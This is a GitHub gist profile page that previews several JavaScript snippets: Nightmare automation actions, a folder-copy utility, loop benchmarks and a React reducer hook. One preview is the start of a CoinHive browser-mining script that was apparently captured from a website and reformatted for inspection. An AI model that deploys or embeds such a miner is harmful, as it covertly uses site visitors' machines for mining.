Skip to content

Instantly share code, notes, and snippets.

View AamuLumi's full-sized avatar

Florian KAUDER AamuLumi

View GitHub Profile
@AamuLumi
AamuLumi / JeanBatista.jsx
Last active May 8, 2016 13:31
Prochaine fois, je te transforme en composant React.
// En fait, y'a aucune raison de mettre du JSX, mais Jean déteste ça.
import {
Trainee,
CEO
} from 'Promyze';
import {
Brain
} from 'human-features';
import Facebook from 'facebook';
@AamuLumi
AamuLumi / Nightmare-InViewport.js
Created April 25, 2017 07:58
Nightmare action to check if an element is in the viewport
Nightmare.action('inViewport', function(selector, done) {
this.evaluate_now(function(selector) {
var element = document.querySelector(selector);
if (!element){
return false;
}
var rect = element.getBoundingClientRect();
@AamuLumi
AamuLumi / Nightmare-RemoveDownload.js
Created June 5, 2017 10:36
Nightmare action to remove downloads in a Nightmare scenario
Nightmare.action('removeDownload',
function(ns, options, parent, win, renderer, done) {
parent.respondTo('removeDownload', function(subDone) {
win.webContents.session.on('will-download', (event, item, webContents) => {
// Remove download event
event.preventDefault();
});
subDone(null);
});
@AamuLumi
AamuLumi / copyFolder.js
Created November 15, 2017 10:59
Folder deep-copy in NodeJS (ES7+)
'use strict';
const fs = require('fs');
const path = require('path');
/**
* Create a folder and returns a Promise
* @param {String} folder
* @return {Promise}
*/
@AamuLumi
AamuLumi / loop_result_node8-9-4.md
Last active February 5, 2018 12:51
Nodejs v8.9.4 Loop speed

Benchmarks

generated at Mon, 05 Feb 2018 12:17:35 GMT

Node version : v8.9.4
Minimum sample size : 200

(X) refers to this file
(16) is 'let i = array.length; for (; i-- ;)'

Elements | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |

@AamuLumi
AamuLumi / evihnioc.js
Created February 11, 2018 10:43
CoinHive miner from Avvinitweet.com, formatted by Chrome
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
@AamuLumi
AamuLumi / code.jsx
Created October 26, 2018 09:53
React Hook to create an internal API Reducer
import React, { Component } from "react";
import { useEffect, useState } from "react";
function createLoadReducer() {
return (state = { loading: false }, action) => {
switch (action.type) {
case "LOADING":
return { loading: true };
case "ERROR":
return { loading: false, error: action.data };